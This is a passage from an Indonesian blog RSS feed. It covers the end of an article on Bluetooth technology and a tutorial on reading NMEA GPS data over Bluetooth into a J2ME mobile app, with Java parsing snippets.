<p>Bluetooth sekarang menjadi alat komunikasi PAN menjadi pilihan, karena Bluetooth mempunyai kelebihan yaitu:</p>
<p style="text-align: left;">Tabel Keunggulan Bluetooth</p>
<table style="width: 549px; height: 238px;" border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="117">Topology</td>
<td width="413">Dapat menyamungkan sampai 8   simultaneous links piconet</td>
</tr>
<tr>
<td rowspan="2" width="117">Flexibility</td>
<td width="413">Mudah   dibawa kemana-mana, ukuran kecil</td>
</tr>
<tr>
<td width="413">Tembus tembok, tubuh, baju</td>
</tr>
<tr>
<td width="117">Data Rate</td>
<td width="413">1 MbPS, 721 Kbps</td>
</tr>
<tr>
<td width="117">Power</td>
<td width="413">0.1 Watts active power</td>
</tr>
<tr>
<td width="117">Size/Weight</td>
<td width="413">25 mm × 13 mm × 2 mm, several   grams</td>
</tr>
<tr>
<td width="117">Cost</td>
<td width="413">Long term $5 per endpoint</td>
</tr>
<tr>
<td width="117">Range</td>
<td width="413">10 meters or less; up to 100 meters with PA</td>
</tr>
<tr>
<td width="117">Universal</td>
<td width="413">Intended to work worldwide</td>
</tr>
<tr>
<td width="117">Security</td>
<td width="413">Very, link layer security, SS   radio</td>
</tr>
</tbody>
</table>
<p>Bentuk Fisik Bluetooth</p>
<div id="attachment_377" class="wp-caption aligncenter" style="width: 473px"><img class="size-full wp-image-377" title="bluetooth_chip_and_package" src="http://www.andisun.com/wp-content/uploads/2009/08/bluetooth_chip_and_package.png" alt="Bluetooth Chip dan Bluetooth dalam Kemasan" width="463" height="182" /><p class="wp-caption-text">Bluetooth Chip dan Bluetooth dalam Kemasan</p></div>
<h2><strong>KESIMPULAN</strong></h2>
<p>Kesimpulan yang dapat diambil pada kajian teknis ini adalah:</p>
<ol>
<li>Sistem protokol dimaksudkan untuk memudahkan perkembangan aplikasi menggunakan teknologi Bluetooth.</li>
<li>Lapis bawah dari susunan protokol <em>bluetooth</em> yakni Radio, Baseband dan Link Manager Protocol (LMP) dirancang sebagai lapis dasar.</li>
<li>Bluetooth sangat cocok untuk peralatan <em>mobile</em> dan cocok untuk peralatan yang digunakan untuk PAN (<em>Personal Access Network</em>).</li>
<li>Transaksi data Bluetooh aman, karena ada mekanisme untuk enkripsi data, autentifikasi user.</li>
<li>Bluetooth dapat digunakan untuk control secara remote.</li>
</ol>
<p><strong> </strong></p>
<h2><strong>DAFTAR PUSTAKA</strong></h2>
<ol>
<li>Kamer Dafid, McNutt Gordon, Senese      Brian, Bray Jennifer, <em>Bluetooth Application Developer’s Guide: The Sort      Range Interconnection Solution</em>, Syngress. Electronic Book.</li>
<li>http://www.niksula.cs.hut.fi/~jiitv/bluesec.html</li>
<li>http://www.kompas.com/kompas-cetak/0409/17/ilpeng/1273376.htm</li>
<li>http://www.bluetooth.org/bluetooth/landing/btname.php</li>
<li>http://www.elektroindonesia.com/elektro/khu36.html</li>
<li>http://www.palowireless.com/infotooth/whatis.asp</li>
<li>http://electronics.howstuffworks.com/bluetooth2.htm</li>
<li>http://www.btdesigner.com/</li>
<li>http://www.gematel.com/Edisi32/Analisis%20Teknologi/analisis1.html</li>
<li>http://www.cs.utk.edu/~dasgupta/bluetooth/contents.htm</li>
<li>http://www.bluetooth.com</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://www.andisun.com/jurnal/overview-teknologi-arsitektur-dan-protokol-bluetooth/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mengetahui Posisi dengan Mengintegrasikan GPS Receiver dan GSM</title>
		<link>http://www.andisun.com/jurnal/mengetahui-posisi-dengan-mengintegrasikan-gps-receiver-dan-gsm</link>
		<comments>http://www.andisun.com/jurnal/mengetahui-posisi-dengan-mengintegrasikan-gps-receiver-dan-gsm#comments</comments>
		<pubDate>Tue, 28 Jul 2009 00:13:28 +0000</pubDate>
		<dc:creator>myandisun</dc:creator>
				<category><![CDATA[Jurnal]]></category>
		<category><![CDATA[GPS]]></category>
		<category><![CDATA[GSM]]></category>
		<category><![CDATA[NMEA]]></category>
		<category><![CDATA[Parsing]]></category>
		<category><![CDATA[Position]]></category>

		<guid isPermaLink="false">http://www.andisun.com/?p=324</guid>
		<description><![CDATA[Abstraksi GPS receiver sebagai alat penentu posisi dikembangkan dalam bentuk modul. Dengan bentuk modul tersebut GPS receiver dapat di integrasikan dengan perangkat lain, seperti komputer, PDA, GSM (telepon selluler). Modul GPS receiver mengeluarkan standaar data yang disebut NMEA. Data NMEA dari GPS receiver untuk dapat langsung digunakan, karena harus diproses terlebih dahulu. Machine Java (J2ME) [...]]]></description>
			<content:encoded><![CDATA[<p align="center"><strong> </strong></p>
<p>Abstraksi</p>
<p align="center"><strong> </strong></p>
<p style="text-align: left;"><em>GPS receiver</em> sebagai alat penentu posisi dikembangkan dalam bentuk modul. Dengan bentuk modul tersebut <em>GPS receiver</em> dapat di integrasikan dengan perangkat lain, seperti komputer, PDA, GSM (telepon selluler). Modul <em>GPS receiver</em> mengeluarkan standaar data yang disebut NMEA. Data NMEA dari <em>GPS receiver</em> untuk dapat langsung digunakan, karena harus diproses terlebih dahulu. Machine Java (J2ME) yang ditanam pada GSM  dapat digunakan sebagai tool bahasa pemrograman untuk membaca data yang dikirim dari <em>GPS receiver</em>. Sebelum ditampilkan data NMEA harus di <em>parsing</em> untuk dapat di tampilkan informasi posisi yang lebih informasif.</p>
<p align="left">Keyword : <em>GPS, J2ME, NMEA, GSM, Position<br />
</em></p>
<h2>A.       PENDAHULUAN</h2>
<p>GPS (<em>Global Positioning System)</em> adalah sistem navigasi berbasiskan satelit yang saling berhubungan satu dengan yang lain. Untuk mengetahui posisi, minimalkan diperlukan 3 buah satelit yang masing-masing mengirimkan sinyal ke GPS <em>Receiver</em>. Sinyal tersebut diolah, kemudian posisi diubah menjadi titik yang dikenal dengan nama <em>Way</em><em>-point, </em>yaitu<em> </em>berupa titik-titik koordinat lintang <em>(latitude)</em> dan bujur <em>(Longitude)</em>.</p>
<p>Secara fisik GPS <em>Receiver</em> berupa <em>integrated circuit </em>(IC) dan dapat digunakan untuk berbagai kepentingan, misalnya pada mobil, kapal, pesawat terbang, pertanian dan lain-lain. GPS <em>receiver</em> dapat diintegrasikan dengan komputer, laptop atau perangkat lain. GPS <em>Receiver</em> memiliki output standar yang berisi informasi yang berhubungan dengan data-data geografi. Standar format informasi tersebut diberi nama <a href="http://www.andisun.com/artikel/national-marine-electronics-association-nmea-0183-tipe-rmc">NMEA-0183</a>.</p>
<p>GPS <em>Receiver</em> ada yang dilengkapi dengan display ada juga tanpa display. GPS yang memliki display informasi ditampilkan pada layar displaynya, sedangkan yang tidak memiliki tampilan atau yang lebih dikenal dengan modul GPS <em>Receiver</em>. GPS receiver yang berbentuk modul untuk mengirimkan sintak NMEA-0183 keperangkat lain mengggunakan media komunikasi data baik dengan media kabel atau <em>wireless</em>.</p>
<p>Perangkat modul GPS yang sekarang komunikasi dilengkapi dengan bluetooth. Perangakat yang sering digunakan untuk menampilkan data tersebut adalah Personal Komputer, Laptop, PDA dan telephone seluler.</p>
<h3>A.1         NMEA (National Mrearine Electronics Association) 0183 Standard</h3>
<p>Pada mulanya <a href="http://www.andisun.com/artikel/national-marine-electronics-association-nmea-0183-tipe-rmc">NMEA-0183</a> adalah standar industri sebagai antar-muka alat kelautan yang diperkenalkan sejak tahun 1983. <a href="http://www.andisun.com/artikel/national-marine-electronics-association-nmea-0183-tipe-rmc">NMEA-0183</a> adalah hasil konversi dari sinyal elektronik, protokol tranmisi data, waktu dan format perintah lain.</p>
<p><a href="http://www.andisun.com/artikel/national-marine-electronics-association-nmea-0183-tipe-rmc">NMEA-0183</a> berisi informasi yang berhubungan dengan geografi seperti tentang koordinat, ketinggian, kecepatan dan masih banyak lagi. Untuk menampilkan informasi yang informatif maka data <a href="http://www.andisun.com/artikel/national-marine-electronics-association-nmea-0183-tipe-rmc">NMEA-0183</a> perlu diolah lebih lanjut.</p>
<h3>A.2        J2ME</h3>
<p><a href="http://developers.sun.com/mobility/j2me">J2ME </a>adalah bagian dari J2SE yang ditujukan untuk implementasi pada peralatan <em>embendded system</em> yang tidak dapat di tangani oleh J2SE. <em>Embendded system </em>adalah produk-produk dengan komputer kecil berada didalamnya, namun aplikasi yang dimanfaatkan dari peralatan tersebut sangatlah spesifik. Contoh aplikasi <em>embendded system </em>adalah aplikasi yang memanfaatka <em>microprosessor </em>seperti televisi, handphone, PDA, sistem keamanan gedung dan sebagainya.</p>
<p>Sama seperti java pada umumnya yang menggunakan JVM <em>(Java Virtual Machine)</em>, dalam J2ME juga menggunakan <em>virtual machine</em> yang disebut K <em>Virtual Machine (KVM)</em>. K <em>Virtual Machine </em>adalah <em>virtual machine</em> dengan kapasitas memori yang sangat kecil. Huruf K di ambil dari Kilobyte yang mengambarkan betapa kecil total memori yang digunakan mulai dari 128 kilobyte hingga maksimal rata-rata sekitar 512 kilobyte. Java 2 platform, Micro Edition (<a href="http://developers.sun.com/mobility/j2me">J2ME</a>) merupakan kumpulan API <em>(Aplication Programing Interface)</em> yang memfokuskan diri pada konsumen <em>embendded system</em>. <a href="http://developers.sun.com/mobility/j2me">J2ME</a> berisi kumpulan arsitektur, profile, dan paket opsional. Aritektur J2ME dapat dilihat pada Gambar 1.</p>
<div id="attachment_326" class="wp-caption alignnone" style="width: 304px"><img class="size-full wp-image-326" title="java_2_platform" src="http://www.andisun.com/wp-content/uploads/2009/07/java_2_platform.png" alt="Hierarki Platform Java 2" width="294" height="222" /><p class="wp-caption-text">Hierarki Platform Java 2</p></div>
<h3>A.3        Modul GPS Receiver</h3>
<p>Untuk penelitian ini peneliti menggunakan modul <em><a href="https://buy.garmin.com/shop/shop.do?cID=158&amp;pID=272">Garmin GPS 10</a> </em>dengan spesifikasi terlihat pada Tabel 1:</p>
<div id="attachment_327" class="wp-caption alignnone" style="width: 161px"><img class="size-full wp-image-327 " title="garmin_gps_10" src="http://www.andisun.com/wp-content/uploads/2009/07/garmin_gps_10x.png" alt="Garmin GPS 10x" width="151" height="151" /><p class="wp-caption-text">Garmin GPS 10</p></div>
<p><span id="more-324"></span></p>
<p>Tabel 1. Spesifikasi Garmin GPS 10</p>
<table style="width: 609px; height: 333px;" border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="21%" valign="top">Receiver Type</td>
<td width="78%" valign="top">12 parallel channel GPS receiver</td>
</tr>
<tr>
<td width="21%" valign="top">GPS Performance</td>
<td width="78%" valign="top">Receiver: WAAS enabled, 12 parallel channel GPS receiver continuously   tracks and uses up to 12 satellites to compute and update your position</td>
</tr>
<tr>
<td width="21%" valign="top">Acquisition Times</td>
<td width="78%" valign="top">
<p align="left">Reacquisition: Less   than 2 seconds</p>
<p align="left">Warm: Approximately   15 seconds</p>
<p align="left">Cold: Approximately   45 seconds</p>
<p align="left">AutoLocate™: 5   minutes</p>
<p align="left">SkySearch: 5   minutes</p>
</td>
</tr>
<tr>
<td width="21%" valign="top">Update Rate</td>
<td width="78%" valign="top">1 to 900 seconds between updates; programmable in 1 second increments</td>
</tr>
<tr>
<td width="21%" valign="top">GPS Accuracy:</td>
<td width="78%" valign="top">
<p align="left">Position: &lt; 15   meters, 95% typical</p>
<p align="left">Velocity: 0.1 knot   RMS steady state</p>
</td>
</tr>
<tr>
<td width="21%" valign="top">Connectivity</td>
<td width="78%" valign="top">Bluetooth wireless technology; Protocol: NMEA 0183, sentences   GGA/GSA/GSV/GLL/RMC/VTG</td>
</tr>
<tr>
<td width="21%" valign="top">Dimension</td>
<td width="78%" valign="top">88 x 45 x 19 mm</td>
</tr>
<tr>
<td width="21%" valign="top">Weight</td>
<td width="78%" valign="top">80 g</td>
</tr>
</tbody>
</table>
<p>Selain menggunakan GPS 10, untuk saat ini direkomendasikan menggunakan <a href="https://buy.garmin.com/shop/shop.do?cID=138&amp;pID=6302&amp;ra=true">Garmin GPS 10x</a>.</p>
<h3>A.4        Hanphone Nokia 6120</h3>
<p>Perangkat ini yang digunakan untuk mengambil data dari perangkat <em>GPS receiver </em>serta untuk menampilkan hasil pengolahan informasi di dalam layarnya. Hanphone yang penulis gunakan adalah Nokia 6120 Classic dengan MIDP 2.0. Dengan spesifikasi tersebut digunakan untuk menjalankan aplikasi J2ME. Selain itu hanphone Nokia 6120 Classic juga sudah men-<em>support</em> koneksi dengan handware lain <em>via</em> bluetooth.</p>
<div id="attachment_328" class="wp-caption alignnone" style="width: 150px"><img class="size-full wp-image-328" title="nokia_6120_classic" src="http://www.andisun.com/wp-content/uploads/2009/07/nokia_6120_classic.png" alt="Nokia 6120 Classic" width="140" height="185" /><p class="wp-caption-text">Nokia 6120 Classic</p></div>
<p>Adapun spesifikasi detail handphone yang dipakai dapat <a href="http://www.nokia.co.id/cari-produk/ponsel/nokia-6120-classic">diklik disini</a>.</p>
<h2>B.       PEMBAHASAN</h2>
<p>Pada penelitian metode ini menggunakan <em>GPS receiver</em>, dan handphone. Penelitian kedua ini difokuskan bagaimana mengambil data NMEA dari perangkat <em>GPS receiver</em> untuk ditampilkan di handphone. Data yang diambil pada penelitian ke dua ini adalah data NMEA yang standar yang dapat digunakan untuk mengetahui data <em>Latitude</em> dan <em>Longitude</em>.</p>
<div id="attachment_336" class="wp-caption alignnone" style="width: 322px"><img class="size-full wp-image-336" title="prinsip_kerja_penelitian_gsm_j2me_01" src="http://www.andisun.com/wp-content/uploads/2009/07/prinsip_kerja_penelitian_gsm_j2me_01.png" alt="Prinsip Kerja Penelitian" width="312" height="220" /><p class="wp-caption-text">Prinsip Kerja Penelitian</p></div>
<h3>B.1         Pembuatan Program.</h3>
<p>Untuk membuat aplikasi J2ME dalam <em>handphone</em> penulis melakukan beberapa pengolahan terhadap format data <a href="http://www.andisun.com/artikel/national-marine-electronics-association-nmea-0183-tipe-rmc">GPRMC </a>yang dikirimkan dari <em>GPS receiver</em>.</p>
<h3>B.1.1         Pembuatan Koneksi.</h3>
<p>Langkah pertama untuk koneksi lewat bluetooth ke <em>GPS receiver,</em> kita perlu mengetahui terlebih dahulu <em>Address Device GPS receiver</em>. Untuk perangkat yang penulis pakai memilki alamat <span style="font-family: courier new,courier;">00054f002823</span>. Adapun bentuk untuk umum koneksi adalah (btspp:alamat device dan port), kemudian membuat <span style="font-family: courier new,courier;">InputStreamReader</span> menggunakan koneksi yang sebelumnya dibuka.</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p324code26'); return false;">View Code</a> JAVA</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p32426"><td class="line_numbers"><pre>1
2
3
4
</pre></td><td class="code" id="p324code26"><pre class="java" style="font-family:monospace;"><a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Astring+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">String</span></a> url <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;btspp://00054f002823:1&quot;</span><span style="color: #339933;">;</span>
javax.<span style="color: #006633;">microedition</span>.<span style="color: #006633;">io</span>.<span style="color: #006633;">StreamConnection</span> connection <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>StreamConnection<span style="color: #009900;">&#41;</span> Connector.<span style="color: #006633;">open</span><span style="color: #009900;">&#40;</span>url, Connector.<span style="color: #006633;">READ</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
java.<span style="color: #006633;">io</span>.<a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Ainputstreamreader+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">InputStreamReader</span></a> in <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Ainputstreamreader+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">InputStreamReader</span></a><span style="color: #009900;">&#40;</span>connection.<span style="color: #006633;">openInputStream</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<h3>B.1.2        Membaca Data</h3>
<p>Pada sesi ini data dikirim dari <em>GPS receiver</em> dengan berurutan dan selalu ditambahkan dalam urutan string sampai ditemukan karakter (ASCII kode 13) yang menandakan akhir sebuah baris. Untuk proses lebih lanjut karakter terakhir diakhiri dengan karakter (<em>line feet</em>, ASCII kode 10).</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p324code27'); return false;">View Code</a> JAVA</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p32427"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="code" id="p324code27"><pre class="java" style="font-family:monospace;">in <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Ainputstreamreader+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">InputStreamReader</span></a><span style="color: #009900;">&#40;</span>con.<span style="color: #006633;">openDataInputStream</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">while</span> <span style="color: #009900;">&#40;</span> <span style="color: #009900;">&#40;</span>ch <span style="color: #339933;">=</span> in.<span style="color: #006633;">read</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">!=</span> <span style="color: #0000ff;">'<span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
txtNMEA <span style="color: #339933;">+=</span> <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">char</span><span style="color: #009900;">&#41;</span> ch<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
txtNMEA <span style="color: #339933;">=</span> txtNMEA.<span style="color: #006633;">substring</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span>, txtNMEA.<span style="color: #006633;">length</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">-</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Astring+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">String</span></a> output<span style="color: #339933;">;</span>
<span style="color: #000066; font-weight: bold;">int</span> in<span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>in <span style="color: #339933;">=</span> reader.<span style="color: #006633;">read</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">!=</span> <span style="color: #cc66cc;">13</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
txtNMEA <span style="color: #339933;">+=</span> <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">char</span><span style="color: #009900;">&#41;</span> in<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
txtNMEA <span style="color: #339933;">=</span> txtNMEA.<span style="color: #006633;">substring</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span>, txtNMEA.<span style="color: #006633;">length</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">-</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p align="left">
<h3>B.1.3        Memproses Data</h3>
<p>Masing-masing baris merupakan sebuah record yang berbeda-beda dalam protocol <a href="http://www.andisun.com/artikel/national-marine-electronics-association-nmea-0183-tipe-rmc">NMEA-0183</a>. Untuk mengambil <em>data value</em> pada masing-masing record melalui beberapa tahapan.</p>
<h4>B.1.3.1        Proses Parser</h4>
<p>Parser berfungi untuk memisahkan record menjadi <em>data-value</em> dengan mengidentifikasi pemisah karakter (“,”). Jadi dengan menggunakan method next (akan mengembalikan nilai String) dan method hasNext (yang mengembalikan nilai true jika masih ada data yang akan diparsing). Dengan menggunakan <em>method</em> String standar indexOf atau substring, maka data dapat diambil.</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p324code28'); return false;">View Code</a> JAVA</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p32428"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
</pre></td><td class="code" id="p324code28"><pre class="java" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">void</span> <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Aparser+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">Parser</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
currentPositon <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span>
nextPosition <span style="color: #339933;">=</span> txtNMEA.<span style="color: #006633;">indexOf</span><span style="color: #009900;">&#40;</span>DELIMITER, currentPositon<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
TYPE_NMEA <span style="color: #339933;">=</span> next<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
UTCPosition  <span style="color: #339933;">=</span> next<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
State <span style="color: #339933;">=</span> next<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
Latitude <span style="color: #339933;">=</span> next<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
LatitudeIndicator <span style="color: #339933;">=</span> next<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
. . . .
<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000066; font-weight: bold;">boolean</span> hasNext<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
<span style="color: #000000; font-weight: bold;">return</span> nextPosition <span style="color: #339933;">!=</span> <span style="color: #339933;">-</span><span style="color: #cc66cc;">1</span> <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span> currentPositon <span style="color: #339933;">&amp;</span>lt<span style="color: #339933;">;=</span> nextPosition<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">private</span> <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Astring+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">String</span></a> next<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #000000; font-weight: bold;">throws</span> <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Anosuchelementexception+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">NoSuchElementException</span></a><span style="color: #009900;">&#123;</span>
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>hasNext<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
<span style="color: #000000; font-weight: bold;">throw</span> <span style="color: #000000; font-weight: bold;">new</span> <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Anosuchelementexception+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">NoSuchElementException</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Astring+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">String</span></a> next <span style="color: #339933;">=</span> txtNMEA.<span style="color: #006633;">substring</span><span style="color: #009900;">&#40;</span>currentPositon, nextPosition<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
currentPositon <span style="color: #339933;">=</span> nextPosition <span style="color: #339933;">+</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span>
nextPosition <span style="color: #339933;">=</span> txtNMEA.<span style="color: #006633;">indexOf</span><span style="color: #009900;">&#40;</span>DELIMITER, currentPositon<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">return</span> next<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<h4>B.1.3.2       Konversi Data</h4>
<p>Data yang dikirim dari <em>GPS receiver </em>tidak selamanya langsung ditampilkan, ada beberapa yang harus di konversi. Dalam khasus ini data kecepatan masih dalam bentuk <em>knot</em> (1 knot = 1.50779 mile/hour), data tersebut penulis konversi kedalam bentuk <em>km/hour</em> (Kilometer per jam)..</p>
<p>J2ME tidak mengenal tipe data <em>floating point</em> sehingga harus ditambahkan class baru yang dapat mengkonversi dari bentuk string (input dari <em>GPS receiver</em> ke bentuk <em>floating point</em>).</p>
<p style="text-align: left;"><strong>1 knot = 1.85 kilometer/hour</strong></p>
<pre>int SpeedX = MathFP.mul(MathFP.toFP(SpeedOverGround),MathFP.toFP("1.85"));
SpeedOverGround =  MathFP.toString( MathFP.round(SpeedX, 2)) + " km/h";</pre>
<h4>B.1.3.3       Membuat Method Untuk Mengambil <em>Data-Value</em></h4>
<p>Masing-masing data yang sudah diolah dan siap ditampilkan akan dibuatkan method agar nantinya memudahkan untuk menampilkannya di program utama. Berikut contoh programnya.</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p324code29'); return false;">View Code</a> JAVA</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p32429"><td class="line_numbers"><pre>1
2
3
4
5
6
</pre></td><td class="code" id="p324code29"><pre class="java" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">public</span> <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Astring+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">String</span></a> getLatitude<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
<span style="color: #000000; font-weight: bold;">return</span> Latitude<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">public</span> <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Astring+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">String</span></a> getLatitudeIndicator<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
<span style="color: #000000; font-weight: bold;">return</span> LatitudeIndicator<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<h4>B.1.3.4       Menampilkan data</h4>
<p>Komponen-komponen yang sudah dipersiapkan untuk ditampilkan akan ditampilkan pada program utama dengan memanggil method yang telah kita buat sebelumnya.</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p324code30'); return false;">View Code</a> JAVA</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p32430"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
</pre></td><td class="code" id="p324code30"><pre class="java" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">//Tampilkan Latitude</span>
cY <span style="color: #339933;">=</span> cY <span style="color: #339933;">+</span> intvBaris<span style="color: #339933;">;</span>
g.<span style="color: #006633;">setColor</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span>, <span style="color: #cc66cc;">0</span>, <span style="color: #cc66cc;">255</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
